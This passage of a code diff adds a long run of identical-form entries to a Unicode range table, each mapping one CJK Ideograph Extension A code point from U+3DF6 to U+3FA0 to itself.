+ ["\u3DF6", "\u3DF6"], /* CJK Ideograph Extension A */
+ ["\u3DF7", "\u3DF7"], /* CJK Ideograph Extension A */
+ ["\u3DF8", "\u3DF8"], /* CJK Ideograph Extension A */
+ ["\u3DF9", "\u3DF9"], /* CJK Ideograph Extension A */
+ ["\u3DFA", "\u3DFA"], /* CJK Ideograph Extension A */
+ ["\u3DFB", "\u3DFB"], /* CJK Ideograph Extension A */
+ ["\u3DFC", "\u3DFC"], /* CJK Ideograph Extension A */
+ ["\u3DFD", "\u3DFD"], /* CJK Ideograph Extension A */
+ ["\u3DFE", "\u3DFE"], /* CJK Ideograph Extension A */
+ ["\u3DFF", "\u3DFF"], /* CJK Ideograph Extension A */
+ ["\u3E00", "\u3E00"], /* CJK Ideograph Extension A */
+ ["\u3E01", "\u3E01"], /* CJK Ideograph Extension A */
+ ["\u3E02", "\u3E02"], /* CJK Ideograph Extension A */
+ ["\u3E03", "\u3E03"], /* CJK Ideograph Extension A */
+ ["\u3E04", "\u3E04"], /* CJK Ideograph Extension A */
+ ["\u3E05", "\u3E05"], /* CJK Ideograph Extension A */
+ ["\u3E06", "\u3E06"], /* CJK Ideograph Extension A */
+ ["\u3E07", "\u3E07"], /* CJK Ideograph Extension A */
+ ["\u3E08", "\u3E08"], /* CJK Ideograph Extension A */
+ ["\u3E09", "\u3E09"], /* CJK Ideograph Extension A */
+ ["\u3E0A", "\u3E0A"], /* CJK Ideograph Extension A */
+ ["\u3E0B", "\u3E0B"], /* CJK Ideograph Extension A */
+ ["\u3E0C", "\u3E0C"], /* CJK Ideograph Extension A */
+ ["\u3E0D", "\u3E0D"], /* CJK Ideograph Extension A */
+ ["\u3E0E", "\u3E0E"], /* CJK Ideograph Extension A */
+ ["\u3E0F", "\u3E0F"], /* CJK Ideograph Extension A */
+ ["\u3E10", "\u3E10"], /* CJK Ideograph Extension A */
+ ["\u3E11", "\u3E11"], /* CJK Ideograph Extension A */
+ ["\u3E12", "\u3E12"], /* CJK Ideograph Extension A */
+ ["\u3E13", "\u3E13"], /* CJK Ideograph Extension A */
+ ["\u3E14", "\u3E14"], /* CJK Ideograph Extension A */
+ ["\u3E15", "\u3E15"], /* CJK Ideograph Extension A */
+ ["\u3E16", "\u3E16"], /* CJK Ideograph Extension A */
+ ["\u3E17", "\u3E17"], /* CJK Ideograph Extension A */
+ ["\u3E18", "\u3E18"], /* CJK Ideograph Extension A */
+ ["\u3E19", "\u3E19"], /* CJK Ideograph Extension A */
+ ["\u3E1A", "\u3E1A"], /* CJK Ideograph Extension A */
+ ["\u3E1B", "\u3E1B"], /* CJK Ideograph Extension A */
+ ["\u3E1C", "\u3E1C"], /* CJK Ideograph Extension A */
+ ["\u3E1D", "\u3E1D"], /* CJK Ideograph Extension A */
+ ["\u3E1E", "\u3E1E"], /* CJK Ideograph Extension A */
+ ["\u3E1F", "\u3E1F"], /* CJK Ideograph Extension A */
+ ["\u3E20", "\u3E20"], /* CJK Ideograph Extension A */
+ ["\u3E21", "\u3E21"], /* CJK Ideograph Extension A */
+ ["\u3E22", "\u3E22"], /* CJK Ideograph Extension A */
+ ["\u3E23", "\u3E23"], /* CJK Ideograph Extension A */
+ ["\u3E24", "\u3E24"], /* CJK Ideograph Extension A */
+ ["\u3E25", "\u3E25"], /* CJK Ideograph Extension A */
+ ["\u3E26", "\u3E26"], /* CJK Ideograph Extension A */
+ ["\u3E27", "\u3E27"], /* CJK Ideograph Extension A */
+ ["\u3E28", "\u3E28"], /* CJK Ideograph Extension A */
+ ["\u3E29", "\u3E29"], /* CJK Ideograph Extension A */
+ ["\u3E2A", "\u3E2A"], /* CJK Ideograph Extension A */
+ ["\u3E2B", "\u3E2B"], /* CJK Ideograph Extension A */
+ ["\u3E2C", "\u3E2C"], /* CJK Ideograph Extension A */
+ ["\u3E2D", "\u3E2D"], /* CJK Ideograph Extension A */
+ ["\u3E2E", "\u3E2E"], /* CJK Ideograph Extension A */
+ ["\u3E2F", "\u3E2F"], /* CJK Ideograph Extension A */
+ ["\u3E30", "\u3E30"], /* CJK Ideograph Extension A */
+ ["\u3E31", "\u3E31"], /* CJK Ideograph Extension A */
+ ["\u3E32", "\u3E32"], /* CJK Ideograph Extension A */
+ ["\u3E33", "\u3E33"], /* CJK Ideograph Extension A */
+ ["\u3E34", "\u3E34"], /* CJK Ideograph Extension A */
+ ["\u3E35", "\u3E35"], /* CJK Ideograph Extension A */
+ ["\u3E36", "\u3E36"], /* CJK Ideograph Extension A */
+ ["\u3E37", "\u3E37"], /* CJK Ideograph Extension A */
+ ["\u3E38", "\u3E38"], /* CJK Ideograph Extension A */
+ ["\u3E39", "\u3E39"], /* CJK Ideograph Extension A */
+ ["\u3E3A", "\u3E3A"], /* CJK Ideograph Extension A */
+ ["\u3E3B", "\u3E3B"], /* CJK Ideograph Extension A */
+ ["\u3E3C", "\u3E3C"], /* CJK Ideograph Extension A */
+ ["\u3E3D", "\u3E3D"], /* CJK Ideograph Extension A */
+ ["\u3E3E", "\u3E3E"], /* CJK Ideograph Extension A */
+ ["\u3E3F", "\u3E3F"], /* CJK Ideograph Extension A */
+ ["\u3E40", "\u3E40"], /* CJK Ideograph Extension A */
+ ["\u3E41", "\u3E41"], /* CJK Ideograph Extension A */
+ ["\u3E42", "\u3E42"], /* CJK Ideograph Extension A */
+ ["\u3E43", "\u3E43"], /* CJK Ideograph Extension A */
+ ["\u3E44", "\u3E44"], /* CJK Ideograph Extension A */
+ ["\u3E45", "\u3E45"], /* CJK Ideograph Extension A */
+ ["\u3E46", "\u3E46"], /* CJK Ideograph Extension A */
+ ["\u3E47", "\u3E47"], /* CJK Ideograph Extension A */
+ ["\u3E48", "\u3E48"], /* CJK Ideograph Extension A */
+ ["\u3E49", "\u3E49"], /* CJK Ideograph Extension A */
+ ["\u3E4A", "\u3E4A"], /* CJK Ideograph Extension A */
+ ["\u3E4B", "\u3E4B"], /* CJK Ideograph Extension A */
+ ["\u3E4C", "\u3E4C"], /* CJK Ideograph Extension A */
+ ["\u3E4D", "\u3E4D"], /* CJK Ideograph Extension A */
+ ["\u3E4E", "\u3E4E"], /* CJK Ideograph Extension A */
+ ["\u3E4F", "\u3E4F"], /* CJK Ideograph Extension A */
+ ["\u3E50", "\u3E50"], /* CJK Ideograph Extension A */
+ ["\u3E51", "\u3E51"], /* CJK Ideograph Extension A */
+ ["\u3E52", "\u3E52"], /* CJK Ideograph Extension A */
+ ["\u3E53", "\u3E53"], /* CJK Ideograph Extension A */
+ ["\u3E54", "\u3E54"], /* CJK Ideograph Extension A */
+ ["\u3E55", "\u3E55"], /* CJK Ideograph Extension A */
+ ["\u3E56", "\u3E56"], /* CJK Ideograph Extension A */
+ ["\u3E57", "\u3E57"], /* CJK Ideograph Extension A */
+ ["\u3E58", "\u3E58"], /* CJK Ideograph Extension A */
+ ["\u3E59", "\u3E59"], /* CJK Ideograph Extension A */
+ ["\u3E5A", "\u3E5A"], /* CJK Ideograph Extension A */
+ ["\u3E5B", "\u3E5B"], /* CJK Ideograph Extension A */
+ ["\u3E5C", "\u3E5C"], /* CJK Ideograph Extension A */
+ ["\u3E5D", "\u3E5D"], /* CJK Ideograph Extension A */
+ ["\u3E5E", "\u3E5E"], /* CJK Ideograph Extension A */
+ ["\u3E5F", "\u3E5F"], /* CJK Ideograph Extension A */
+ ["\u3E60", "\u3E60"], /* CJK Ideograph Extension A */
+ ["\u3E61", "\u3E61"], /* CJK Ideograph Extension A */
+ ["\u3E62", "\u3E62"], /* CJK Ideograph Extension A */
+ ["\u3E63", "\u3E63"], /* CJK Ideograph Extension A */
+ ["\u3E64", "\u3E64"], /* CJK Ideograph Extension A */
+ ["\u3E65", "\u3E65"], /* CJK Ideograph Extension A */
+ ["\u3E66", "\u3E66"], /* CJK Ideograph Extension A */
+ ["\u3E67", "\u3E67"], /* CJK Ideograph Extension A */
+ ["\u3E68", "\u3E68"], /* CJK Ideograph Extension A */
+ ["\u3E69", "\u3E69"], /* CJK Ideograph Extension A */
+ ["\u3E6A", "\u3E6A"], /* CJK Ideograph Extension A */
+ ["\u3E6B", "\u3E6B"], /* CJK Ideograph Extension A */
+ ["\u3E6C", "\u3E6C"], /* CJK Ideograph Extension A */
+ ["\u3E6D", "\u3E6D"], /* CJK Ideograph Extension A */
+ ["\u3E6E", "\u3E6E"], /* CJK Ideograph Extension A */
+ ["\u3E6F", "\u3E6F"], /* CJK Ideograph Extension A */
+ ["\u3E70", "\u3E70"], /* CJK Ideograph Extension A */
+ ["\u3E71", "\u3E71"], /* CJK Ideograph Extension A */
+ ["\u3E72", "\u3E72"], /* CJK Ideograph Extension A */
+ ["\u3E73", "\u3E73"], /* CJK Ideograph Extension A */
+ ["\u3E74", "\u3E74"], /* CJK Ideograph Extension A */
+ ["\u3E75", "\u3E75"], /* CJK Ideograph Extension A */
+ ["\u3E76", "\u3E76"], /* CJK Ideograph Extension A */
+ ["\u3E77", "\u3E77"], /* CJK Ideograph Extension A */
+ ["\u3E78", "\u3E78"], /* CJK Ideograph Extension A */
+ ["\u3E79", "\u3E79"], /* CJK Ideograph Extension A */
+ ["\u3E7A", "\u3E7A"], /* CJK Ideograph Extension A */
+ ["\u3E7B", "\u3E7B"], /* CJK Ideograph Extension A */
+ ["\u3E7C", "\u3E7C"], /* CJK Ideograph Extension A */
+ ["\u3E7D", "\u3E7D"], /* CJK Ideograph Extension A */
+ ["\u3E7E", "\u3E7E"], /* CJK Ideograph Extension A */
+ ["\u3E7F", "\u3E7F"], /* CJK Ideograph Extension A */
+ ["\u3E80", "\u3E80"], /* CJK Ideograph Extension A */
+ ["\u3E81", "\u3E81"], /* CJK Ideograph Extension A */
+ ["\u3E82", "\u3E82"], /* CJK Ideograph Extension A */
+ ["\u3E83", "\u3E83"], /* CJK Ideograph Extension A */
+ ["\u3E84", "\u3E84"], /* CJK Ideograph Extension A */
+ ["\u3E85", "\u3E85"], /* CJK Ideograph Extension A */
+ ["\u3E86", "\u3E86"], /* CJK Ideograph Extension A */
+ ["\u3E87", "\u3E87"], /* CJK Ideograph Extension A */
+ ["\u3E88", "\u3E88"], /* CJK Ideograph Extension A */
+ ["\u3E89", "\u3E89"], /* CJK Ideograph Extension A */
+ ["\u3E8A", "\u3E8A"], /* CJK Ideograph Extension A */
+ ["\u3E8B", "\u3E8B"], /* CJK Ideograph Extension A */
+ ["\u3E8C", "\u3E8C"], /* CJK Ideograph Extension A */
+ ["\u3E8D", "\u3E8D"], /* CJK Ideograph Extension A */
+ ["\u3E8E", "\u3E8E"], /* CJK Ideograph Extension A */
+ ["\u3E8F", "\u3E8F"], /* CJK Ideograph Extension A */
+ ["\u3E90", "\u3E90"], /* CJK Ideograph Extension A */
+ ["\u3E91", "\u3E91"], /* CJK Ideograph Extension A */
+ ["\u3E92", "\u3E92"], /* CJK Ideograph Extension A */
+ ["\u3E93", "\u3E93"], /* CJK Ideograph Extension A */
+ ["\u3E94", "\u3E94"], /* CJK Ideograph Extension A */
+ ["\u3E95", "\u3E95"], /* CJK Ideograph Extension A */
+ ["\u3E96", "\u3E96"], /* CJK Ideograph Extension A */
+ ["\u3E97", "\u3E97"], /* CJK Ideograph Extension A */
+ ["\u3E98", "\u3E98"], /* CJK Ideograph Extension A */
+ ["\u3E99", "\u3E99"], /* CJK Ideograph Extension A */
+ ["\u3E9A", "\u3E9A"], /* CJK Ideograph Extension A */
+ ["\u3E9B", "\u3E9B"], /* CJK Ideograph Extension A */
+ ["\u3E9C", "\u3E9C"], /* CJK Ideograph Extension A */
+ ["\u3E9D", "\u3E9D"], /* CJK Ideograph Extension A */
+ ["\u3E9E", "\u3E9E"], /* CJK Ideograph Extension A */
+ ["\u3E9F", "\u3E9F"], /* CJK Ideograph Extension A */
+ ["\u3EA0", "\u3EA0"], /* CJK Ideograph Extension A */
+ ["\u3EA1", "\u3EA1"], /* CJK Ideograph Extension A */
+ ["\u3EA2", "\u3EA2"], /* CJK Ideograph Extension A */
+ ["\u3EA3", "\u3EA3"], /* CJK Ideograph Extension A */
+ ["\u3EA4", "\u3EA4"], /* CJK Ideograph Extension A */
+ ["\u3EA5", "\u3EA5"], /* CJK Ideograph Extension A */
+ ["\u3EA6", "\u3EA6"], /* CJK Ideograph Extension A */
+ ["\u3EA7", "\u3EA7"], /* CJK Ideograph Extension A */
+ ["\u3EA8", "\u3EA8"], /* CJK Ideograph Extension A */
+ ["\u3EA9", "\u3EA9"], /* CJK Ideograph Extension A */
+ ["\u3EAA", "\u3EAA"], /* CJK Ideograph Extension A */
+ ["\u3EAB", "\u3EAB"], /* CJK Ideograph Extension A */
+ ["\u3EAC", "\u3EAC"], /* CJK Ideograph Extension A */
+ ["\u3EAD", "\u3EAD"], /* CJK Ideograph Extension A */
+ ["\u3EAE", "\u3EAE"], /* CJK Ideograph Extension A */
+ ["\u3EAF", "\u3EAF"], /* CJK Ideograph Extension A */
+ ["\u3EB0", "\u3EB0"], /* CJK Ideograph Extension A */
+ ["\u3EB1", "\u3EB1"], /* CJK Ideograph Extension A */
+ ["\u3EB2", "\u3EB2"], /* CJK Ideograph Extension A */
+ ["\u3EB3", "\u3EB3"], /* CJK Ideograph Extension A */
+ ["\u3EB4", "\u3EB4"], /* CJK Ideograph Extension A */
+ ["\u3EB5", "\u3EB5"], /* CJK Ideograph Extension A */
+ ["\u3EB6", "\u3EB6"], /* CJK Ideograph Extension A */
+ ["\u3EB7", "\u3EB7"], /* CJK Ideograph Extension A */
+ ["\u3EB8", "\u3EB8"], /* CJK Ideograph Extension A */
+ ["\u3EB9", "\u3EB9"], /* CJK Ideograph Extension A */
+ ["\u3EBA", "\u3EBA"], /* CJK Ideograph Extension A */
+ ["\u3EBB", "\u3EBB"], /* CJK Ideograph Extension A */
+ ["\u3EBC", "\u3EBC"], /* CJK Ideograph Extension A */
+ ["\u3EBD", "\u3EBD"], /* CJK Ideograph Extension A */
+ ["\u3EBE", "\u3EBE"], /* CJK Ideograph Extension A */
+ ["\u3EBF", "\u3EBF"], /* CJK Ideograph Extension A */
+ ["\u3EC0", "\u3EC0"], /* CJK Ideograph Extension A */
+ ["\u3EC1", "\u3EC1"], /* CJK Ideograph Extension A */
+ ["\u3EC2", "\u3EC2"], /* CJK Ideograph Extension A */
+ ["\u3EC3", "\u3EC3"], /* CJK Ideograph Extension A */
+ ["\u3EC4", "\u3EC4"], /* CJK Ideograph Extension A */
+ ["\u3EC5", "\u3EC5"], /* CJK Ideograph Extension A */
+ ["\u3EC6", "\u3EC6"], /* CJK Ideograph Extension A */
+ ["\u3EC7", "\u3EC7"], /* CJK Ideograph Extension A */
+ ["\u3EC8", "\u3EC8"], /* CJK Ideograph Extension A */
+ ["\u3EC9", "\u3EC9"], /* CJK Ideograph Extension A */
+ ["\u3ECA", "\u3ECA"], /* CJK Ideograph Extension A */
+ ["\u3ECB", "\u3ECB"], /* CJK Ideograph Extension A */
+ ["\u3ECC", "\u3ECC"], /* CJK Ideograph Extension A */
+ ["\u3ECD", "\u3ECD"], /* CJK Ideograph Extension A */
+ ["\u3ECE", "\u3ECE"], /* CJK Ideograph Extension A */
+ ["\u3ECF", "\u3ECF"], /* CJK Ideograph Extension A */
+ ["\u3ED0", "\u3ED0"], /* CJK Ideograph Extension A */
+ ["\u3ED1", "\u3ED1"], /* CJK Ideograph Extension A */
+ ["\u3ED2", "\u3ED2"], /* CJK Ideograph Extension A */
+ ["\u3ED3", "\u3ED3"], /* CJK Ideograph Extension A */
+ ["\u3ED4", "\u3ED4"], /* CJK Ideograph Extension A */
+ ["\u3ED5", "\u3ED5"], /* CJK Ideograph Extension A */
+ ["\u3ED6", "\u3ED6"], /* CJK Ideograph Extension A */
+ ["\u3ED7", "\u3ED7"], /* CJK Ideograph Extension A */
+ ["\u3ED8", "\u3ED8"], /* CJK Ideograph Extension A */
+ ["\u3ED9", "\u3ED9"], /* CJK Ideograph Extension A */
+ ["\u3EDA", "\u3EDA"], /* CJK Ideograph Extension A */
+ ["\u3EDB", "\u3EDB"], /* CJK Ideograph Extension A */
+ ["\u3EDC", "\u3EDC"], /* CJK Ideograph Extension A */
+ ["\u3EDD", "\u3EDD"], /* CJK Ideograph Extension A */
+ ["\u3EDE", "\u3EDE"], /* CJK Ideograph Extension A */
+ ["\u3EDF", "\u3EDF"], /* CJK Ideograph Extension A */
+ ["\u3EE0", "\u3EE0"], /* CJK Ideograph Extension A */
+ ["\u3EE1", "\u3EE1"], /* CJK Ideograph Extension A */
+ ["\u3EE2", "\u3EE2"], /* CJK Ideograph Extension A */
+ ["\u3EE3", "\u3EE3"], /* CJK Ideograph Extension A */
+ ["\u3EE4", "\u3EE4"], /* CJK Ideograph Extension A */
+ ["\u3EE5", "\u3EE5"], /* CJK Ideograph Extension A */
+ ["\u3EE6", "\u3EE6"], /* CJK Ideograph Extension A */
+ ["\u3EE7", "\u3EE7"], /* CJK Ideograph Extension A */
+ ["\u3EE8", "\u3EE8"], /* CJK Ideograph Extension A */
+ ["\u3EE9", "\u3EE9"], /* CJK Ideograph Extension A */
+ ["\u3EEA", "\u3EEA"], /* CJK Ideograph Extension A */
+ ["\u3EEB", "\u3EEB"], /* CJK Ideograph Extension A */
+ ["\u3EEC", "\u3EEC"], /* CJK Ideograph Extension A */
+ ["\u3EED", "\u3EED"], /* CJK Ideograph Extension A */
+ ["\u3EEE", "\u3EEE"], /* CJK Ideograph Extension A */
+ ["\u3EEF", "\u3EEF"], /* CJK Ideograph Extension A */
+ ["\u3EF0", "\u3EF0"], /* CJK Ideograph Extension A */
+ ["\u3EF1", "\u3EF1"], /* CJK Ideograph Extension A */
+ ["\u3EF2", "\u3EF2"], /* CJK Ideograph Extension A */
+ ["\u3EF3", "\u3EF3"], /* CJK Ideograph Extension A */
+ ["\u3EF4", "\u3EF4"], /* CJK Ideograph Extension A */
+ ["\u3EF5", "\u3EF5"], /* CJK Ideograph Extension A */
+ ["\u3EF6", "\u3EF6"], /* CJK Ideograph Extension A */
+ ["\u3EF7", "\u3EF7"], /* CJK Ideograph Extension A */
+ ["\u3EF8", "\u3EF8"], /* CJK Ideograph Extension A */
+ ["\u3EF9", "\u3EF9"], /* CJK Ideograph Extension A */
+ ["\u3EFA", "\u3EFA"], /* CJK Ideograph Extension A */
+ ["\u3EFB", "\u3EFB"], /* CJK Ideograph Extension A */
+ ["\u3EFC", "\u3EFC"], /* CJK Ideograph Extension A */
+ ["\u3EFD", "\u3EFD"], /* CJK Ideograph Extension A */
+ ["\u3EFE", "\u3EFE"], /* CJK Ideograph Extension A */
+ ["\u3EFF", "\u3EFF"], /* CJK Ideograph Extension A */
+ ["\u3F00", "\u3F00"], /* CJK Ideograph Extension A */
+ ["\u3F01", "\u3F01"], /* CJK Ideograph Extension A */
+ ["\u3F02", "\u3F02"], /* CJK Ideograph Extension A */
+ ["\u3F03", "\u3F03"], /* CJK Ideograph Extension A */
+ ["\u3F04", "\u3F04"], /* CJK Ideograph Extension A */
+ ["\u3F05", "\u3F05"], /* CJK Ideograph Extension A */
+ ["\u3F06", "\u3F06"], /* CJK Ideograph Extension A */
+ ["\u3F07", "\u3F07"], /* CJK Ideograph Extension A */
+ ["\u3F08", "\u3F08"], /* CJK Ideograph Extension A */
+ ["\u3F09", "\u3F09"], /* CJK Ideograph Extension A */
+ ["\u3F0A", "\u3F0A"], /* CJK Ideograph Extension A */
+ ["\u3F0B", "\u3F0B"], /* CJK Ideograph Extension A */
+ ["\u3F0C", "\u3F0C"], /* CJK Ideograph Extension A */
+ ["\u3F0D", "\u3F0D"], /* CJK Ideograph Extension A */
+ ["\u3F0E", "\u3F0E"], /* CJK Ideograph Extension A */
+ ["\u3F0F", "\u3F0F"], /* CJK Ideograph Extension A */
+ ["\u3F10", "\u3F10"], /* CJK Ideograph Extension A */
+ ["\u3F11", "\u3F11"], /* CJK Ideograph Extension A */
+ ["\u3F12", "\u3F12"], /* CJK Ideograph Extension A */
+ ["\u3F13", "\u3F13"], /* CJK Ideograph Extension A */
+ ["\u3F14", "\u3F14"], /* CJK Ideograph Extension A */
+ ["\u3F15", "\u3F15"], /* CJK Ideograph Extension A */
+ ["\u3F16", "\u3F16"], /* CJK Ideograph Extension A */
+ ["\u3F17", "\u3F17"], /* CJK Ideograph Extension A */
+ ["\u3F18", "\u3F18"], /* CJK Ideograph Extension A */
+ ["\u3F19", "\u3F19"], /* CJK Ideograph Extension A */
+ ["\u3F1A", "\u3F1A"], /* CJK Ideograph Extension A */
+ ["\u3F1B", "\u3F1B"], /* CJK Ideograph Extension A */
+ ["\u3F1C", "\u3F1C"], /* CJK Ideograph Extension A */
+ ["\u3F1D", "\u3F1D"], /* CJK Ideograph Extension A */
+ ["\u3F1E", "\u3F1E"], /* CJK Ideograph Extension A */
+ ["\u3F1F", "\u3F1F"], /* CJK Ideograph Extension A */
+ ["\u3F20", "\u3F20"], /* CJK Ideograph Extension A */
+ ["\u3F21", "\u3F21"], /* CJK Ideograph Extension A */
+ ["\u3F22", "\u3F22"], /* CJK Ideograph Extension A */
+ ["\u3F23", "\u3F23"], /* CJK Ideograph Extension A */
+ ["\u3F24", "\u3F24"], /* CJK Ideograph Extension A */
+ ["\u3F25", "\u3F25"], /* CJK Ideograph Extension A */
+ ["\u3F26", "\u3F26"], /* CJK Ideograph Extension A */
+ ["\u3F27", "\u3F27"], /* CJK Ideograph Extension A */
+ ["\u3F28", "\u3F28"], /* CJK Ideograph Extension A */
+ ["\u3F29", "\u3F29"], /* CJK Ideograph Extension A */
+ ["\u3F2A", "\u3F2A"], /* CJK Ideograph Extension A */
+ ["\u3F2B", "\u3F2B"], /* CJK Ideograph Extension A */
+ ["\u3F2C", "\u3F2C"], /* CJK Ideograph Extension A */
+ ["\u3F2D", "\u3F2D"], /* CJK Ideograph Extension A */
+ ["\u3F2E", "\u3F2E"], /* CJK Ideograph Extension A */
+ ["\u3F2F", "\u3F2F"], /* CJK Ideograph Extension A */
+ ["\u3F30", "\u3F30"], /* CJK Ideograph Extension A */
+ ["\u3F31", "\u3F31"], /* CJK Ideograph Extension A */
+ ["\u3F32", "\u3F32"], /* CJK Ideograph Extension A */
+ ["\u3F33", "\u3F33"], /* CJK Ideograph Extension A */
+ ["\u3F34", "\u3F34"], /* CJK Ideograph Extension A */
+ ["\u3F35", "\u3F35"], /* CJK Ideograph Extension A */
+ ["\u3F36", "\u3F36"], /* CJK Ideograph Extension A */
+ ["\u3F37", "\u3F37"], /* CJK Ideograph Extension A */
+ ["\u3F38", "\u3F38"], /* CJK Ideograph Extension A */
+ ["\u3F39", "\u3F39"], /* CJK Ideograph Extension A */
+ ["\u3F3A", "\u3F3A"], /* CJK Ideograph Extension A */
+ ["\u3F3B", "\u3F3B"], /* CJK Ideograph Extension A */
+ ["\u3F3C", "\u3F3C"], /* CJK Ideograph Extension A */
+ ["\u3F3D", "\u3F3D"], /* CJK Ideograph Extension A */
+ ["\u3F3E", "\u3F3E"], /* CJK Ideograph Extension A */
+ ["\u3F3F", "\u3F3F"], /* CJK Ideograph Extension A */
+ ["\u3F40", "\u3F40"], /* CJK Ideograph Extension A */
+ ["\u3F41", "\u3F41"], /* CJK Ideograph Extension A */
+ ["\u3F42", "\u3F42"], /* CJK Ideograph Extension A */
+ ["\u3F43", "\u3F43"], /* CJK Ideograph Extension A */
+ ["\u3F44", "\u3F44"], /* CJK Ideograph Extension A */
+ ["\u3F45", "\u3F45"], /* CJK Ideograph Extension A */
+ ["\u3F46", "\u3F46"], /* CJK Ideograph Extension A */
+ ["\u3F47", "\u3F47"], /* CJK Ideograph Extension A */
+ ["\u3F48", "\u3F48"], /* CJK Ideograph Extension A */
+ ["\u3F49", "\u3F49"], /* CJK Ideograph Extension A */
+ ["\u3F4A", "\u3F4A"], /* CJK Ideograph Extension A */
+ ["\u3F4B", "\u3F4B"], /* CJK Ideograph Extension A */
+ ["\u3F4C", "\u3F4C"], /* CJK Ideograph Extension A */
+ ["\u3F4D", "\u3F4D"], /* CJK Ideograph Extension A */
+ ["\u3F4E", "\u3F4E"], /* CJK Ideograph Extension A */
+ ["\u3F4F", "\u3F4F"], /* CJK Ideograph Extension A */
+ ["\u3F50", "\u3F50"], /* CJK Ideograph Extension A */
+ ["\u3F51", "\u3F51"], /* CJK Ideograph Extension A */
+ ["\u3F52", "\u3F52"], /* CJK Ideograph Extension A */
+ ["\u3F53", "\u3F53"], /* CJK Ideograph Extension A */
+ ["\u3F54", "\u3F54"], /* CJK Ideograph Extension A */
+ ["\u3F55", "\u3F55"], /* CJK Ideograph Extension A */
+ ["\u3F56", "\u3F56"], /* CJK Ideograph Extension A */
+ ["\u3F57", "\u3F57"], /* CJK Ideograph Extension A */
+ ["\u3F58", "\u3F58"], /* CJK Ideograph Extension A */
+ ["\u3F59", "\u3F59"], /* CJK Ideograph Extension A */
+ ["\u3F5A", "\u3F5A"], /* CJK Ideograph Extension A */
+ ["\u3F5B", "\u3F5B"], /* CJK Ideograph Extension A */
+ ["\u3F5C", "\u3F5C"], /* CJK Ideograph Extension A */
+ ["\u3F5D", "\u3F5D"], /* CJK Ideograph Extension A */
+ ["\u3F5E", "\u3F5E"], /* CJK Ideograph Extension A */
+ ["\u3F5F", "\u3F5F"], /* CJK Ideograph Extension A */
+ ["\u3F60", "\u3F60"], /* CJK Ideograph Extension A */
+ ["\u3F61", "\u3F61"], /* CJK Ideograph Extension A */
+ ["\u3F62", "\u3F62"], /* CJK Ideograph Extension A */
+ ["\u3F63", "\u3F63"], /* CJK Ideograph Extension A */
+ ["\u3F64", "\u3F64"], /* CJK Ideograph Extension A */
+ ["\u3F65", "\u3F65"], /* CJK Ideograph Extension A */
+ ["\u3F66", "\u3F66"], /* CJK Ideograph Extension A */
+ ["\u3F67", "\u3F67"], /* CJK Ideograph Extension A */
+ ["\u3F68", "\u3F68"], /* CJK Ideograph Extension A */
+ ["\u3F69", "\u3F69"], /* CJK Ideograph Extension A */
+ ["\u3F6A", "\u3F6A"], /* CJK Ideograph Extension A */
+ ["\u3F6B", "\u3F6B"], /* CJK Ideograph Extension A */
+ ["\u3F6C", "\u3F6C"], /* CJK Ideograph Extension A */
+ ["\u3F6D", "\u3F6D"], /* CJK Ideograph Extension A */
+ ["\u3F6E", "\u3F6E"], /* CJK Ideograph Extension A */
+ ["\u3F6F", "\u3F6F"], /* CJK Ideograph Extension A */
+ ["\u3F70", "\u3F70"], /* CJK Ideograph Extension A */
+ ["\u3F71", "\u3F71"], /* CJK Ideograph Extension A */
+ ["\u3F72", "\u3F72"], /* CJK Ideograph Extension A */
+ ["\u3F73", "\u3F73"], /* CJK Ideograph Extension A */
+ ["\u3F74", "\u3F74"], /* CJK Ideograph Extension A */
+ ["\u3F75", "\u3F75"], /* CJK Ideograph Extension A */
+ ["\u3F76", "\u3F76"], /* CJK Ideograph Extension A */
+ ["\u3F77", "\u3F77"], /* CJK Ideograph Extension A */
+ ["\u3F78", "\u3F78"], /* CJK Ideograph Extension A */
+ ["\u3F79", "\u3F79"], /* CJK Ideograph Extension A */
+ ["\u3F7A", "\u3F7A"], /* CJK Ideograph Extension A */
+ ["\u3F7B", "\u3F7B"], /* CJK Ideograph Extension A */
+ ["\u3F7C", "\u3F7C"], /* CJK Ideograph Extension A */
+ ["\u3F7D", "\u3F7D"], /* CJK Ideograph Extension A */
+ ["\u3F7E", "\u3F7E"], /* CJK Ideograph Extension A */
+ ["\u3F7F", "\u3F7F"], /* CJK Ideograph Extension A */
+ ["\u3F80", "\u3F80"], /* CJK Ideograph Extension A */
+ ["\u3F81", "\u3F81"], /* CJK Ideograph Extension A */
+ ["\u3F82", "\u3F82"], /* CJK Ideograph Extension A */
+ ["\u3F83", "\u3F83"], /* CJK Ideograph Extension A */
+ ["\u3F84", "\u3F84"], /* CJK Ideograph Extension A */
+ ["\u3F85", "\u3F85"], /* CJK Ideograph Extension A */
+ ["\u3F86", "\u3F86"], /* CJK Ideograph Extension A */
+ ["\u3F87", "\u3F87"], /* CJK Ideograph Extension A */
+ ["\u3F88", "\u3F88"], /* CJK Ideograph Extension A */
+ ["\u3F89", "\u3F89"], /* CJK Ideograph Extension A */
+ ["\u3F8A", "\u3F8A"], /* CJK Ideograph Extension A */
+ ["\u3F8B", "\u3F8B"], /* CJK Ideograph Extension A */
+ ["\u3F8C", "\u3F8C"], /* CJK Ideograph Extension A */
+ ["\u3F8D", "\u3F8D"], /* CJK Ideograph Extension A */
+ ["\u3F8E", "\u3F8E"], /* CJK Ideograph Extension A */
+ ["\u3F8F", "\u3F8F"], /* CJK Ideograph Extension A */
+ ["\u3F90", "\u3F90"], /* CJK Ideograph Extension A */
+ ["\u3F91", "\u3F91"], /* CJK Ideograph Extension A */
+ ["\u3F92", "\u3F92"], /* CJK Ideograph Extension A */
+ ["\u3F93", "\u3F93"], /* CJK Ideograph Extension A */
+ ["\u3F94", "\u3F94"], /* CJK Ideograph Extension A */
+ ["\u3F95", "\u3F95"], /* CJK Ideograph Extension A */
+ ["\u3F96", "\u3F96"], /* CJK Ideograph Extension A */
+ ["\u3F97", "\u3F97"], /* CJK Ideograph Extension A */
+ ["\u3F98", "\u3F98"], /* CJK Ideograph Extension A */
+ ["\u3F99", "\u3F99"], /* CJK Ideograph Extension A */
+ ["\u3F9A", "\u3F9A"], /* CJK Ideograph Extension A */
+ ["\u3F9B", "\u3F9B"], /* CJK Ideograph Extension A */
+ ["\u3F9C", "\u3F9C"], /* CJK Ideograph Extension A */
+ ["\u3F9D", "\u3F9D"], /* CJK Ideograph Extension A */
+ ["\u3F9E", "\u3F9E"], /* CJK Ideograph Extension A */
+ ["\u3F9F", "\u3F9F"], /* CJK Ideograph Extension A */
+ ["\u3FA0", "\u3FA0"], /* CJK Ideograph Extension A */
